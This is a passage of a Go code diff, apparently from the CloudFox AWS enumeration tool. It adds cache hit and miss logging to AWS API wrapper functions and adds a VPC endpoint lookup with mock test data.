}).Info("AWS API call")
for {
ListDeploymentConfigs, err := client.ListDeploymentConfigs(
context.TODO(),
@@ -106,8 +131,20 @@ func CachedCodeDeployListDeployments(client AWSCodeDeployClientInterface, accoun
cacheKey := fmt.Sprintf("%s-codedeploy-ListDeployments-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:ListDeployments",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:ListDeployments",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListDeployments, err := client.ListDeployments(
context.TODO(),
@@ -140,8 +177,22 @@ func CachedCodeDeployGetApplication(client AWSCodeDeployClientInterface, account
cacheKey := fmt.Sprintf("%s-codedeploy-GetApplication-%s-%s", accountID, region, applicationName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:GetApplication",
"account": accountID,
"region": region,
"application": applicationName,
"cache": "hit",
}).Info("AWS API call")
return cached.(codeDeployTypes.ApplicationInfo), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:GetApplication",
"account": accountID,
"region": region,
"application": applicationName,
"cache": "miss",
}).Info("AWS API call")
GetApplication, err := client.GetApplication(
context.TODO(),
&codedeploy.GetApplicationInput{
@@ -165,8 +216,22 @@ func CachedCodeDeployGetDeploymentConfig(client AWSCodeDeployClientInterface, ac
cacheKey := fmt.Sprintf("%s-codedeploy-GetDeploymentConfig-%s-%s", accountID, region, deploymentConfigName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:GetDeploymentConfig",
"account": accountID,
"region": region,
"deploymentConfig": deploymentConfigName,
"cache": "hit",
}).Info("AWS API call")
return cached.(codeDeployTypes.DeploymentConfigInfo), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:GetDeploymentConfig",
"account": accountID,
"region": region,
"deploymentConfig": deploymentConfigName,
"cache": "miss",
}).Info("AWS API call")
GetDeploymentConfig, err := client.GetDeploymentConfig(
context.TODO(),
&codedeploy.GetDeploymentConfigInput{
@@ -190,8 +255,22 @@ func CachedCodeDeployGetDeployment(client AWSCodeDeployClientInterface, accountI
cacheKey := fmt.Sprintf("%s-codedeploy-GetDeployment-%s-%s", accountID, region, deploymentID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:GetDeployment",
"account": accountID,
"region": region,
"deployment": deploymentID,
"cache": "hit",
}).Info("AWS API call")
return cached.(codeDeployTypes.DeploymentInfo), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "codedeploy:GetDeployment",
"account": accountID,
"region": region,
"deployment": deploymentID,
"cache": "miss",
}).Info("AWS API call")
GetDeployment, err := client.GetDeployment(
context.TODO(),
&codedeploy.GetDeploymentInput{
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/datapipeline"
dataPipelineTypes "github.com/aws/aws-sdk-go-v2/service/datapipeline/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSDataPipelineClientInterface interface {
@@ -25,8 +26,20 @@ func CachedDataPipelineListPipelines(client AWSDataPipelineClientInterface, acco
cacheKey := fmt.Sprintf("%s-datapipeline-ListPipelines-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "datapipeline:ListPipelines",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]dataPipelineTypes.PipelineIdName), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "datapipeline:ListPipelines",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListPipelines, err := client.ListPipelines(
context.TODO(),
+37 -1
View File
@@ -9,8 +9,8 @@ import (
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/docdb"
docdbTypes "github.com/aws/aws-sdk-go-v2/service/docdb/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type DocDBClientInterface interface {
@@ -32,8 +32,20 @@ func CachedDocDBDescribeGlobalClusters(client DocDBClientInterface, accountID st
cacheKey := fmt.Sprintf("%s-docdb-DescribeGlobalClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "docdb:DescribeGlobalClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]docdbTypes.GlobalCluster), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "docdb:DescribeGlobalClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeGlobalClusters, err := client.DescribeGlobalClusters(
context.TODO(),
@@ -68,8 +80,20 @@ func CachedDocDBDescribeDBClusters(client DocDBClientInterface, accountID string
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "docdb:DescribeDBClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]docdbTypes.DBCluster), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "docdb:DescribeDBClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeDBClusters, err := client.DescribeDBClusters(
context.TODO(),
@@ -110,8 +134,20 @@ func CachedDocDBDescribeDBInstances(client DocDBClientInterface, accountID strin
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "docdb:DescribeDBInstances",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]docdbTypes.DBInstance), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "docdb:DescribeDBInstances",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeDBInstances, err := client.DescribeDBInstances(
context.TODO(),
+27
View File
@@ -9,6 +9,7 @@ import (
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/directoryservice"
dsTypes "github.com/aws/aws-sdk-go-v2/service/directoryservice/types"
"github.com/sirupsen/logrus"
)
type AWSDSClientInterface interface {
@@ -28,8 +29,20 @@ func CachedDSDescribeDirectories(client AWSDSClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-ds-DescribeDirectories-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ds:DescribeDirectories",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]dsTypes.DirectoryDescription), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ds:DescribeDirectories",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeDirectories, err := client.DescribeDirectories(
context.TODO(),
@@ -64,8 +77,22 @@ func CachedDSDescribeTrusts(client AWSDSClientInterface, accountID string, regio
cacheKey := fmt.Sprintf("%s-ds-DescribeTrusts-%s-%s", accountID, region, directoryId)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ds:DescribeTrusts",
"account": accountID,
"region": region,
"directoryId": directoryId,
"cache": "hit",
}).Info("AWS API call")
return cached.([]dsTypes.Trust), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ds:DescribeTrusts",
"account": accountID,
"region": region,
"directoryId": directoryId,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeDirectoryTrusts, err := client.DescribeTrusts(
context.TODO(),
+27
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/dynamodb"
dynamoDBTypes "github.com/aws/aws-sdk-go-v2/service/dynamodb/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type DynamoDBClientInterface interface {
@@ -27,8 +28,21 @@ func CachedDynamoDBListTables(client DynamoDBClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-dynamodb-ListTables-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "dynamodb:ListTables",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "dynamodb:ListTables",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListTables, err := client.ListTables(
context.TODO(),
@@ -62,9 +76,22 @@ func CachedDynamoDBDescribeTable(client DynamoDBClientInterface, accountID strin
cacheKey := fmt.Sprintf("%s-dynamodb-DescribeTable-%s-%s", accountID, region, tableName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "dynamodb:DescribeTable",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.(dynamoDBTypes.TableDescription), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "dynamodb:DescribeTable",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
DescribeTable, err := client.DescribeTable(
context.TODO(),
&dynamodb.DescribeTableInput{
+120 -1
View File
@@ -10,6 +10,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/ec2"
ec2Types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSEC2ClientInterface interface {
@@ -19,6 +20,7 @@ type AWSEC2ClientInterface interface {
DescribeVolumes(context.Context, *ec2.DescribeVolumesInput, ...func(*ec2.Options)) (*ec2.DescribeVolumesOutput, error)
DescribeImages(context.Context, *ec2.DescribeImagesInput, ...func(*ec2.Options)) (*ec2.DescribeImagesOutput, error)
DescribeInstanceAttribute(context.Context, *ec2.DescribeInstanceAttributeInput, ...func(*ec2.Options)) (*ec2.DescribeInstanceAttributeOutput, error)
DescribeVpcEndpoints(context.Context, *ec2.DescribeVpcEndpointsInput, ...func(options *ec2.Options)) (*ec2.DescribeVpcEndpointsOutput, error)
}
func init() {
@@ -27,7 +29,7 @@ func init() {
gob.Register([]ec2Types.Snapshot{})
gob.Register([]ec2Types.Volume{})
gob.Register([]ec2Types.Image{})
gob.Register([]ec2Types.VpcEndpoint{})
}
func CachedEC2DescribeInstances(client AWSEC2ClientInterface, accountID string, region string) ([]ec2Types.Instance, error) {
@@ -36,8 +38,20 @@ func CachedEC2DescribeInstances(client AWSEC2ClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeInstances",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ec2Types.Instance), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeInstances",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeInstances, err := client.DescribeInstances(
context.TODO(),
@@ -72,8 +86,22 @@ func CachedEC2DescribeInstanceAttributeUserData(client AWSEC2ClientInterface, ac
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstanceAttributeUserData-%s-%s", accountID, region, instanceID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeInstanceAttribute",
"account": accountID,
"region": region,
"instance": instanceID,
"cache": "hit",
}).Info("AWS API call")
return cached.(string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeInstanceAttribute",
"account": accountID,
"region": region,
"instance": instanceID,
"cache": "miss",
}).Info("AWS API call")
DescribeInstanceAttribute, err := client.DescribeInstanceAttribute(
context.TODO(),
&ec2.DescribeInstanceAttributeInput{
@@ -98,8 +126,20 @@ func CachedEC2DescribeNetworkInterfaces(client AWSEC2ClientInterface, accountID
cacheKey := fmt.Sprintf("%s-ec2-DescribeNetworkInterfaces-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeNetworkInterfaces",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ec2Types.NetworkInterface), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeNetworkInterfaces",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeNetworkInterfaces, err := client.DescribeNetworkInterfaces(
context.TODO(),
@@ -131,8 +171,20 @@ func CachedEC2DescribeSnapshots(client AWSEC2ClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-ec2-DescribeSnapshots-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeSnapshots",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ec2Types.Snapshot), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeSnapshots",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeSnapshots, err := client.DescribeSnapshots(
context.TODO(),
@@ -165,8 +217,20 @@ func CachedEC2DescribeVolumes(client AWSEC2ClientInterface, accountID string, re
cacheKey := fmt.Sprintf("%s-ec2-DescribeVolumes-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeVolumes",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ec2Types.Volume), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeVolumes",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeVolumes, err := client.DescribeVolumes(
context.TODO(),
@@ -198,8 +262,20 @@ func CachedEC2DescribeImages(client AWSEC2ClientInterface, accountID string, reg
cacheKey := fmt.Sprintf("%s-ec2-DescribeImages-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeImages",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ec2Types.Image), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeImages",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeImages, err := client.DescribeImages(
context.TODO(),
@@ -224,5 +300,48 @@ func CachedEC2DescribeImages(client AWSEC2ClientInterface, accountID string, reg
internal.Cache.Set(cacheKey, Images, cache.DefaultExpiration)
return Images, nil
}
func CachedEC2DescribeVpcEndpoints(client AWSEC2ClientInterface, accountID string, region string) ([]ec2Types.VpcEndpoint, error) {
var PaginationControl *string
var VpcEndpoints []ec2Types.VpcEndpoint
cacheKey := fmt.Sprintf("%s-ec2-DescribeVpcEndpoints-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeVpcEndpoints",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ec2Types.VpcEndpoint), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ec2:DescribeVpcEndpoints",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeVpcEndpoints, err := client.DescribeVpcEndpoints(
context.TODO(),
&(ec2.DescribeVpcEndpointsInput{
NextToken: PaginationControl,
}),
func(o *ec2.Options) {
o.Region = region
},
)
if err != nil {
return VpcEndpoints, err
}
VpcEndpoints = append(VpcEndpoints, DescribeVpcEndpoints.VpcEndpoints...)
if DescribeVpcEndpoints.NextToken == nil {
break
}
PaginationControl = DescribeVpcEndpoints.NextToken
}
internal.Cache.Set(cacheKey, VpcEndpoints, cache.DefaultExpiration)
return VpcEndpoints, nil
}
+44
View File
@@ -25,6 +25,7 @@ type MockedEC2Client2 struct {
describeSnapshots DescribeSnapshots
describeVolumes DescribeVolumes
describeImages DescribeImages
describeVpcEndpoints DescribeVpcEndpoints
}
type DescribeNetworkInterfaces struct {
@@ -271,6 +272,9 @@ type DescribeInstanceAttribute struct {
InstanceID string `json:"InstanceId"`
}
type DescribeVpcEndpoints struct {
}
func (c *MockedEC2Client2) DescribeNetworkInterfaces(ctx context.Context, input *ec2.DescribeNetworkInterfacesInput, f ...func(o *ec2.Options)) (*ec2.DescribeNetworkInterfacesOutput, error) {
var nics []ec2types.NetworkInterface
err := json.Unmarshal(readTestFile(DESCRIBE_NETWORK_INTEFACES_TEST_FILE), &c.describeNetworkInterfaces)
@@ -386,3 +390,43 @@ func (c *MockedEC2Client2) DescribeInstanceAttribute(ctx context.Context, input
},
}, nil
}
func (c *MockedEC2Client2) DescribeVpcEndpoints(ctx context.Context, input *ec2.DescribeVpcEndpointsInput, f ...func(o *ec2.Options)) (*ec2.DescribeVpcEndpointsOutput, error) {
return &ec2.DescribeVpcEndpointsOutput{
VpcEndpoints: []ec2types.VpcEndpoint{
{
VpcEndpointId: aws.String("vpce-1234567890abcdefg"),
PolicyDocument: aws.String(`{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "*",
"Resource": "*"
}
]
}`),
},
{
VpcEndpointId: aws.String("vpce-1234567890abcdefh"),
PolicyDocument: aws.String(`{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "*",
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceVpce": "vpce-1234567890abcdefg"
}
}
}
]
}`),
},
},
}, nil
}
+41 -3
View File
@@ -11,6 +11,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/ecr"
ecrTypes "github.com/aws/aws-sdk-go-v2/service/ecr/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSECRClientInterface interface {
@@ -33,9 +34,20 @@ func CachedECRDescribeRepositories(ECRClient AWSECRClientInterface, accountID st
cacheKey := fmt.Sprintf("%s-ecr-DescribeRepositories-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECR repositories data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecr:DescribeRepositories",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ecrTypes.Repository), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecr:DescribeRepositories",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeRepositories, err := ECRClient.DescribeRepositories(
@@ -73,9 +85,22 @@ func CachedECRDescribeImages(ECRClient AWSECRClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-ecr-DescribeImages-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Images data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecr:DescribeImages",
"account": accountID,
"region": region,
"repository": repositoryName,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ecrTypes.ImageDetail), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecr:DescribeImages",
"account": accountID,
"region": region,
"repository": repositoryName,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeImages, err := ECRClient.DescribeImages(
@@ -113,9 +138,22 @@ func CachedECRGetRepositoryPolicy(ECRClient AWSECRClientInterface, accountID str
cacheKey := fmt.Sprintf("%s-ecr-GetRepositoryPolicy-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECR repository policy data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecr:GetRepositoryPolicy",
"account": accountID,
"region": region,
"repository": repositoryName,
"cache": "hit",
}).Info("AWS API call")
return cached.(string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecr:GetRepositoryPolicy",
"account": accountID,
"region": region,
"repository": repositoryName,
"cache": "miss",
}).Info("AWS API call")
GetRepositoryPolicy, err := ECRClient.GetRepositoryPolicy(
context.TODO(),
+69 -5
View File
@@ -10,6 +10,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/ecs"
ecsTypes "github.com/aws/aws-sdk-go-v2/service/ecs/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSECSClientInterface interface {
@@ -34,9 +35,20 @@ func CachedECSListClusters(ECSClient AWSECSClientInterface, accountID string, re
cacheKey := fmt.Sprintf("%s-ecs-ListClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECS clusters data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:ListClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:ListClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListClusters, err := ECSClient.ListClusters(
@@ -77,9 +89,22 @@ func CachedECSListTasks(ECSClient AWSECSClientInterface, accountID string, regio
cacheKey := fmt.Sprintf("%s-ecs-ListTasks-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECS tasks data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:ListTasks",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:ListTasks",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "miss",
}).Info("AWS API call")
for {
ListTasks, err := ECSClient.ListTasks(
@@ -120,9 +145,22 @@ func CachedECSDescribeTasks(ECSClient AWSECSClientInterface, accountID string, r
cacheKey := fmt.Sprintf("%s-ecs-DescribeTasks-%s-%s", accountID, region, clusterFileSystemSafe)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECS task details data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:DescribeTasks",
"account": accountID,
"region": region,
"cluster": cluster,
"cache": "hit",
}).Info("AWS API call")
return cached.([]ecsTypes.Task), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:DescribeTasks",
"account": accountID,
"region": region,
"cluster": cluster,
"cache": "miss",
}).Info("AWS API call")
DescribeTasks, err := ECSClient.DescribeTasks(
context.TODO(),
@@ -153,9 +191,22 @@ func CachedECSDescribeTaskDefinition(ECSClient AWSECSClientInterface, accountID
cacheKey := fmt.Sprintf("%s-ecs-DescribeTaskDefinition-%s-%s", accountID, region, taskDefinitionFileSystemSafe)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECS task definition details data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:DescribeTaskDefinition",
"account": accountID,
"region": region,
"taskDefinition": taskDefinition,
"cache": "hit",
}).Info("AWS API call")
return cached.(ecsTypes.TaskDefinition), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:DescribeTaskDefinition",
"account": accountID,
"region": region,
"taskDefinition": taskDefinition,
"cache": "miss",
}).Info("AWS API call")
DescribeTaskDefinition, err := ECSClient.DescribeTaskDefinition(
context.TODO(),
@@ -186,9 +237,22 @@ func CachedECSListServices(ECSClient AWSECSClientInterface, accountID string, re
cacheKey := fmt.Sprintf("%s-ecs-ListServices-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECS services data")
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:ListServices",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "ecs:ListServices",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "miss",
}).Info("AWS API call")
for {
ListServices, err := ECSClient.ListServices(
+18
View File
@@ -135,12 +135,30 @@ func (c *MockedECSClient) DescribeTasks(ctx context.Context, input *ecs.Describe
Status: aws.String(a.Status),
})
}
var containers []ecsTypes.Container
for _, container := range mockedTask.Containers {
containers = append(containers, ecsTypes.Container{
ContainerArn: aws.String(container.ContainerArn),
Cpu: aws.String(container.CPU),
HealthStatus: ecsTypes.HealthStatus(container.HealthStatus),
Image: aws.String(container.Image),
LastStatus: aws.String(container.LastStatus),
Memory: aws.String(container.Memory),
Name: aws.String(container.Name),
RuntimeId: aws.String(container.RuntimeID),
TaskArn: aws.String(container.TaskArn),
})
}
tasks = append(tasks, ecsTypes.Task{
ClusterArn: aws.String(mockedTask.ClusterArn),
TaskDefinitionArn: aws.String(mockedTask.TaskDefinitionArn),
LaunchType: ecsTypes.LaunchType(*aws.String(mockedTask.LaunchType)),
TaskArn: aws.String(mockedTask.TaskArn),
Attachments: attachments,
Containers: containers,
})
}
}
+49
View File
@@ -11,6 +11,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/efs"
efsTypes "github.com/aws/aws-sdk-go-v2/service/efs/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSEFSClientInterface interface {
@@ -34,8 +35,20 @@ func CachedDescribeFileSystems(EFSClient AWSEFSClientInterface, accountID string
cacheKey := fmt.Sprintf("%s-efs-DescribeFileSystems-%s", accountID, r)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeFileSystems",
"account": accountID,
"region": r,
"cache": "hit",
}).Info("AWS API call")
return cached.([]efsTypes.FileSystemDescription), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeFileSystems",
"account": accountID,
"region": r,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeFileSystems, err := EFSClient.DescribeFileSystems(
@@ -73,8 +86,20 @@ func CachedDescribeMountTargets(EFSClient AWSEFSClientInterface, accountID strin
cacheKey := fmt.Sprintf("%s-efs-DescribeMountTargets-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeMountTargets",
"account": accountID,
"region": r,
"cache": "hit",
}).Info("AWS API call")
return cached.([]efsTypes.MountTargetDescription), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeMountTargets",
"account": accountID,
"region": r,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeMountTargets, err := EFSClient.DescribeMountTargets(
@@ -113,8 +138,20 @@ func CachedDescribeAccessPoints(EFSClient AWSEFSClientInterface, accountID strin
cacheKey := fmt.Sprintf("%s-efs-DescribeAccessPoints-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeAccessPoints",
"account": accountID,
"region": r,
"cache": "hit",
}).Info("AWS API call")
return cached.([]efsTypes.AccessPointDescription), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeAccessPoints",
"account": accountID,
"region": r,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeAccessPoints, err := EFSClient.DescribeAccessPoints(
context.TODO(),
@@ -151,8 +188,20 @@ func CachedDescribeFileSystemPolicy(EFSClient AWSEFSClientInterface, filesystemI
cacheKey := fmt.Sprintf("efs-%s-DescribeFileSystemPolicy-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeFileSystemPolicy",
"account": accountID,
"region": r,
"cache": "hit",
}).Info("AWS API call")
return cached.(policy.Policy), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "efs:DescribeFileSystemPolicy",
"account": accountID,
"region": r,
"cache": "miss",
}).Info("AWS API call")
Policy, err := EFSClient.DescribeFileSystemPolicy(
context.TODO(),
+57
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/eks"
eksTypes "github.com/aws/aws-sdk-go-v2/service/eks/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type EKSClientInterface interface {
@@ -30,8 +31,22 @@ func CachedEKSDescribeCluster(client EKSClientInterface, accountID string, clust
cacheKey := fmt.Sprintf("%s-eks-DescribeCluster-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "eks:DescribeCluster",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "hit",
}).Info("AWS API call")
return cached.(eksTypes.Cluster), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "eks:DescribeCluster",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "miss",
}).Info("AWS API call")
clusterOutput, err := client.DescribeCluster(
context.TODO(),
&eks.DescribeClusterInput{
@@ -57,8 +72,20 @@ func CachedEKSListClusters(client EKSClientInterface, accountID string, region s
cacheKey := fmt.Sprintf("%s-eks-ListClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "eks:ListClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "eks:ListClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListClusters, err := client.ListClusters(
context.TODO(),
